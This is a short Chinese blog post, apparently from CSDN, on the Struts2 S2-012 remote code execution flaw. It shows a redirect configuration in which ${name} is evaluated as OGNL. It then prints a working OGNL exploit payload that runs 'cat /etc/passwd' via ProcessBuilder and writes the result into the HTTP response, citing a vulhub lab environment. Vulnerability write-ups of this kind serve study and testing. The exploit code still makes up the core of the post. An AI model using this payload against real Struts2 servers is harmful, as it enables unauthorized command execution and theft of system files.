S2-012 远程代码执行漏洞

版权声明:没有注明参考链接,均为原创,如有侵权,请联系博主! https://blog.csdn.net/qq_29647709/article/details/84950274

原理

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

Exp

使用s2-001里面的payload读账号密码文件
链接:
https://blog.csdn.net/qq_29647709/article/details/84945159
在这里插入图片描述

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

在这里插入图片描述
参考链接:
https://github.com/vulhub/vulhub/blob/master/struts2/s2-012/README.zh-cn.md
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_29647709/article/details/84950274